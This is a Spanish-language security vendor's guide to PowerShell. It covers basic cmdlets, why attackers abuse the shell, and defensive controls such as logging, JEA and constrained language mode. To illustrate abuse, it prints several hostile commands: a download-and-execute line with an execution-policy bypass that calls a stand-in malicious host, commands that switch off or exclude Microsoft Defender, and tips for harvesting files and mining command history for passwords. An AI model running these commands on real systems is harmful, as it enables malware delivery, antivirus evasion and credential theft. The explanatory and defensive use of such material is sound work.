Windows PowerShell es un potente lenguaje de scripting y shell de línea de comandos para automatizar tareas y gestionar configuraciones. Esta guía explora las características y capacidades de PowerShell, incluyendo su papel en la administración y seguridad del sistema.
Obtenga información sobre los comandos comunes de PowerShell, las prácticas recomendadas de scripting y cómo aprovechar PowerShell para fines de ciberseguridad. Comprender PowerShell es esencial para los profesionales de TI y los especialistas en seguridad.
¿Cómo puede afectar PowerShell a los valiosos activos de su empresa? Aprenda los conceptos básicos de PowerShell, por qué resulta atractivo para los hackers y cómo proteger la empresa
Microsoft PowerShell es un shell de línea de comandos y un lenguaje de scripting que se utiliza para automatizar tareas y administrar sistemas basados en Windows. Los administradores y profesionales de la seguridad lo utilizan habitualmente para automatizar tareas rutinarias, gestionar y supervisar sistemas, y automatizar respuestas a incidentes de seguridad. Los atacantes suelen utilizar PowerShell para obtener acceso no autorizado a los sistemas y ejecutar código malicioso.
Microsoft PowerShell está disponible en Windows desde 2006, pero ahora es el shell de comandos del Explorador de archivos en Windows 10 y ha sustituido en gran medida a la antigua herramienta cmd.exe. Aunque a menudo los usuarios normales lo consideran arcaico, PowerShell se ha convertido en una herramienta esencial para los equipos de TI y los administradores de redes debido a su flexibilidad y potencia. En esta guía introductoria, explicaremos los conceptos básicos de PowerShell, por qué resulta atractivo para los hackers y los autores de malware, y qué puede hacer para proteger su organización.
Elija su opción
Si escribe «PowerShell» en el campo de búsqueda de Cortana, se le presentarán un par de opciones: PowerShell ISE y la aplicación PowerShell Desktop. Además, si hace clic con el botón derecho del ratón en el menú Inicio o en cualquiera de los iconos de PowerShell , verá que hay dos formas diferentes de iniciar cualquiera de las dos versiones de PowerShell: como usuario actual o como administrador.
Los administradores que deseen automatizar tareas comunes probablemente utilicen la interfaz ISE para desarrollar módulos y scripts de PowerShell, pero para un uso interactivo, la mayoría elegirá la aplicación PowerShell Desktop y la ejecutará como administrador o como usuario actual, dependiendo de la tarea.
También es posible que haya oído hablar de PowerShell Core, una edición multiplataforma y de código abierto que se ejecuta no solo en Windows, sino también en Linux y macOS:
Sin embargo, hay que tener cuidado, ya que se instala como un binario sin firmar y podría ser fácilmente sustituido por un impostor malicioso. Si tiene terminales que utilizan PowerShell Core, asegúrese de que su organización lo firma con un certificado adecuado o realiza comprobaciones shasum periódicas para garantizar que no haha sido manipulado.
Aunque existen algunas diferencias en las capacidades entre las distintas versiones de PowerShell, todas ellas pueden ejecutar sesiones remotas a través de SSH e interactuar con una amplia variedad de procesos y servicios. PowerShell puede incluso interactuar con el registro de Windows y el registro de eventos. Y todo esto significa que un adversario con acceso a PowerShell tiene el mismo acceso y las mismas ventajas.
Liberando el poder
Puede empezar a hacerse una idea de las capacidades de PowerShell con dos sencillos comandos:
Get-Module -ListAvailable
para enumerar los módulos disponibles, y
Get-Command
para enumerar los comandos disponibles:
Echemos un vistazo rápido a algunos ejemplos. Supongamos que usted (o un adversario) se está moviendo dentro de un directorio de documentos y desea encontrar rápidamente si hay algo interesante en él. Un comando como el siguiente mostrará las dos primeras y las dos últimas líneas de cada archivo de texto del directorio, descendiendo recursivamente por los subdirectorios e incluyendo cualquier archivo oculto o invisible, y canalizando la salida a otro archivo de texto para su posterior consulta o recuperación:
Get-ChildItem -Force -R .*.txt | ForEach-Object {Get-Content $_ -TotalCount 2; Get-Content $_ -Tail 2} *>> o.log
Si alguien estuviera buscando documentos que pudieran comenzar con «Confidencial» o terminar con el cargo del autor, como «Director financiero», esta podría ser una forma «rápida y sencilla» de enumerar los elementos de interés.
Eliminar un elemento, tal vez para borrar cualquier prueba de intrusión, es simplemente cuestión de
Remove-Item
PowerShell también permite a los usuarios manipular el sistema operativo de formas interesantes y, por desgracia, peligrosas. Si un autor de malware quiere eludir el motor antivirus Microsoft Defender preinstalado, ejecutar un comando de PowerShell con los privilegios adecuados puede desactivarlo:
Set-MpPreference -DisableRealTimeMonitoring $true
o, de forma algo más sigilosa, excluir una unidad o ruta de sus rutas de búsqueda:
Add-MpPreference -ExclusionPath «c:»
PowerShell también facilita a los atacantes tareas como enumerar las unidades de red y llamar al registro de eventos, una forma útil de encontrar información explotable, con Get-PSDrive y Get-EventLog, respectivamente.
Una herramienta útil tanto para los usuarios como para los malos actores es la capacidad de leer el historial de comandos, incluidos los argumentos que se les han pasado, que se han introducido de forma interactiva en la línea de comandos. El historial se almacena en la ruta de salida de este comando:
(Get-PSReadLineOption).HistorySavePath
y podemos usar cat y el cmdlet Select-String (o su alias sls) para realizar un «grep» eficaz o buscar en los comandos los elementos de interés (por ejemplo, como ¡contraseñas!):
Scripts y kits de explotación
Sin embargo, trabajar con PowerShell en la línea de comandos no es donde residen las mejores oportunidades para los actores maliciosos. Más peligrosa es la capacidad de PowerShell para ejecutar scripts tanto en memoria (también conocidos como «sin archivos» ataques de malware sin archivos) y desde el disco. Ambos pueden ejecutarse directamente en un host o de forma remota.
Al igual que el comando eval del shell de Unix, PowerShell tiene Invoke-Expression (y su alias iex), que permite descargar y ejecutar un script malicioso en la memoria. Podemos añadir Bypass para intentar eludir una política de ejecución restringida:
powershell -ep Bypass —nop -c "iex(New-Object Net.WebClient).DownloadString('http://malicious.scripts.com/mlwr.ps1')"
Como era de esperar, no ha tardado mucho en aparecer un marco de explotación completo que aprovecha todo el potencial de PowerShell.
El primero de ellos es PowerSploit, una colección de scripts de PowerShell que pueden ayudar a manipular y controlar el equipo de la víctima.
PowerShell Empire se basa en el trabajo de PowerSploit y otros proyectos para crear una herramienta de postexplotación que puede evadir la detección de la red, ejecutar keyloggers y otros módulos como Mimikatz para extraer contraseñas en texto plano, hash de contraseñas y otros datos directamente de la memoria.
El auge de los ataques con PowerShell
La creación de scripts y comandos de PowerShell que se pueden ejecutar desde otros tipos de archivos de Windows , .exe, .bat, .wsf y .LNK es una de las razones por las que el malware basado en PowerShell ha ido en aumento en los últimos años. Según una estimación que afirma que los exploits de PowerShell representan casi el 40 % de los incidentes de malware, no hay duda de que los adversarios lo están utilizando en una amplia variedad de campañas, desde ransomware hasta robo de credenciales y troyanos bancarios. PowerShell también se ha visto implicado en fraudes de clics, robo de contraseñas y exfiltración de datos.
DNSMessenger es un malware que se detectó propagándose en una macro de un documento de Word. Utiliza de forma inteligente el código fuente VBA para enviar comandos PowerShell codificados con el fin de lograr persistencia, entregar su carga útil y comunicarse con un servidor C&C.
Sorprendentemente, algunos ataques de PowerShell ni siquiera requieren el PowerShell.exe integrado. Herramientas como PowerShdll e InsecurePowerShell pueden ejecutar scripts directamente aprovechando System.Management.Automation.dll que subyace al binario de PowerShell. En resumen, el ejecutable de PowerShell es solo un host o envoltorio para el código real de la biblioteca de vínculos dinámicos. Los ataques pueden aprovechar esto para, básicamente, hacer que cualquier proceso ejecute scripts y comandos de PowerShell.
Otros usos creativos de PowerShell implican incrustar un script de PowerShell en los píxeles de un archivo PNG y generar una línea única para ejecutarlo utilizando Invoke-PSImage, o la conversión de scripts de PowerShell en archivos EXE con herramientas como PS2EXE.
Gestión de PowerShell
Probablemente, todo esto deja claro que limitarse a bloquear PowerShell.exe sería inútil, por no mencionar la gran carga que supondría para los administradores de sistemas que han llegado a depender de lo que ofrece PowerShell. Es importante comprender que PowerShell y las DLL que lo sustentan son partes integrales del sistema operativo Windows y, con la llegada de PowerShell Core, ese poder se extiende a oportunidades para administración multiplataforma que las empresas pueden considerar esencial.
Una solución empresarial eficaz para hacer frente a la doble naturaleza de PowerShell es una como SentinelOne, que analiza el comportamiento de los procesos que se ejecutan en el punto final. Esto es eficaz porque funcionan de manera similar independientemente de cómo se implementen los ataques de malware. El agente SentinelOne supervisa todas las actividades en el agente para diferenciar entre las maliciosas y las benignas. Dado que el agente ya tiene todo el contexto: usuarios, procesos, argumentos de línea de comandos, registro, archivos en el disco y comunicaciones externas, la actividad maliciosa puede mitigarse independientemente de su origen.
¿Te gusta este artículo? Síganos en LinkedIn, Twitter, YouTube o Facebook para ver el contenido que publicamos.
Más información sobre la seguridad de Windows
- El troyano bancario Hancitor ha vuelto | Uso de archivos adjuntos maliciosos de Word
- SentinelOne detecta y bloquea una nueva variante del gusano criptográfico Powershell
- El nuevo tipo de archivo de Windows 10 puede utilizarse indebidamente para ejecutar aplicaciones maliciosas
Ciberseguridad basada en IA
Mejore su postura de seguridad con detección en tiempo real, respuesta a velocidad de máquina y visibilidad total de todo su entorno digital.
DemostraciónPreguntas frecuentes sobre Windows PowerShell
Windows PowerShell es un shell de línea de comandos y un lenguaje de scripting de Microsoft basado en .NET Framework. Permite utilizar cmdlets (comandos simples de verbo-sustantivo) para automatizar tareas como la administración del sistema de archivos, el registro y los servicios.
PowerShell maneja y devuelve objetos en lugar de texto sin formato, por lo que se pueden canalizar datos estructurados de un cmdlet al siguiente. También admite la comunicación remota, los módulos y la ayuda en la consola para la administración del sistema.
A diferencia del antiguo CMD, PowerShell utiliza cmdlets con un formato verbo-sustantivo y funciona con objetos .NET en lugar de flujos de texto. Eso significa que puede encadenar comandos a través de canalizaciones sin analizar el texto. Los scripts de PowerShell pueden llamar directamente a las API de .NET, ofrecen un manejo de errores más completo y admiten módulos.
Los shells tradicionales solo manejan texto sin formato y scripts por lotes básicos, mientras que PowerShell proporciona un entorno de scripting completo para la automatización y la configuración.
La profunda integración en el sistema y la potencia de scripting de PowerShell lo convierten en el favorito tanto de los administradores como de los atacantes. Los actores maliciosos utilizan técnicas sin archivos (ejecutando scripts en la memoria) para evadir la detección.
PowerShell puede desactivar las defensas, descargar código malicioso o robar credenciales sin tocar el disco. Su omnipresencia en Windows significa que los defensores deben tratar la actividad de PowerShell como de alto riesgo y supervisarla de cerca para detectar cualquier abuso.
En un estudio de Cisco, PowerShell estuvo involucrado en más de un tercio de las amenazas de seguridad críticas en los endpoints. Carbon Black informó del uso indebido de PowerShell en el 38 % de los incidentes, a menudo en acciones posteriores a la explotación, como movimientos laterales o robo de credenciales.
Aunque su uso normal es bajo, PowerShell aparece en aproximadamente uno de cada catorce encuentros maliciosos confirmados.
Habilite todo el registro de PowerShell: registro de módulos, registro de bloques de scripts y transcripción. Establezca el tamaño del registro en al menos 150 MB y recopile eventos de
Microsoft-Windows-PowerShell/Operational y PowerShellCore/Operational. Introduzca los registros en SIEM o XDR. Bloquee los scripts de padres no fiables y restrinja la política de ejecución solo a scripts firmados. Active el registro de eventos protegido para obtener más detalles.
Utilice la administración justa (JEA) para limitar el acceso de los usuarios únicamente a los cmdlets aprobados. Aplique el modo de lenguaje restringido para deshabilitar COM, WMI y expresiones complejas. Implemente políticas de control de aplicaciones (por ejemplo, WDAC) para incluir en la lista blanca los scripts firmados.
Mantenga PowerShell actualizado a la versión 5.1 o posterior. Revise y ajuste periódicamente la configuración de registro para asegurarse de que se registre cada invocación de script.
Bloquear completamente PowerShell puede afectar a la gestión del sistema y la administración remota. Microsoft desaconseja su eliminación total. En su lugar, limite la ejecución a los administradores autorizados, aplique el control de aplicaciones y restrinja la generación de PowerShell en entornos no fiables, como las aplicaciones de Office.
En combinación con el registro y la supervisión, estos controles detienen la mayoría de los usos maliciosos sin perjudicar las operaciones legítimas.
PowerShell permite a los defensores automatizar la respuesta a incidentes, recopilar rápidamente datos forenses y buscar amenazas. Se pueden escribir scripts para recopilar artefactos del registro, listas de procesos y conexiones de red en cuestión de minutos. Aprender PowerShell también ayuda a comprender las técnicas de los atacantes, ya que muchas herramientas post-exploit (Empire, Cobalt Strike) utilizan PowerShell en segundo plano.
Los scripts de PowerShell pueden recopilar memoria en tiempo real, claves de ejecución del registro, registros de eventos y datos de red para su clasificación. Las herramientas comunitarias como DFIR-Script automatizan la recopilación de pruebas en los puntos finales. Los cazadores utilizan PowerShell para consultar el ID de evento 4104 de Windows en busca de bloques de scripts maliciosos, analizar los resultados y alimentar los resultados en los manuales de SOAR. Esto convierte a PowerShell en una parte fundamental de los flujos de trabajo de detección, contención y corrección.

